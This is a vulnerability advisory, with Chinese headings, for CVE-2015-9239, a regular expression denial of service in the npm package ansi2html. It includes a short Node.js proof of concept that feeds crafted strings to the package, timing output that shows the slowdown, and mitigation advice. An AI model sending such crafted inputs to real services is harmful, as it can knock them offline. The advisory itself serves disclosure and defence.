CVE-2015-9239

描述

The `ansi2html` package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in. ## Proof of concept ``` var ansi2html = require('ansi2html') var start = process.hrtime(); ansi2html("[1111111111111111111111;0000000000000000000000"); console.log(process.hrtime(start)); start = process.hrtime(); ansi2html("[1111111111111111111111;00000000000000000000000"); console.log(process.hrtime(start)); start = process.hrtime(); ansi2html("[1111111111111111111111;000000000000000000000000"); console.log(process.hrtime(start)); start = process.hrtime(); ansi2html("[1111111111111111111111;0000000000000000000000000000"); console.log(process.hrtime(start)); ``` Results of the above ``` 00:29:53-adam_baldwin~/tmp$ node test [ 0, 119615367 ] [ 0, 149934565 ] [ 0, 233325677 ] [ 3, 46582479 ] ``` ## Recommendation At the time of this writing, February 2018, all versions of `ansi2html` remain vulnerable, and the package has not been updated for 4 years. In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack. In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.][available on npm](https://www.npmjs.com/search?q=ansi+html)

如何修補 CVE-2015-9239

目前尚未發布修補版本。可考慮移除受影響套件,或參考下方連結中的上游建議。

• —未列出修補版本

CVE-2015-9239 正在被利用嗎?

低 — EPSS 為 0.3%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• >= 0.0.0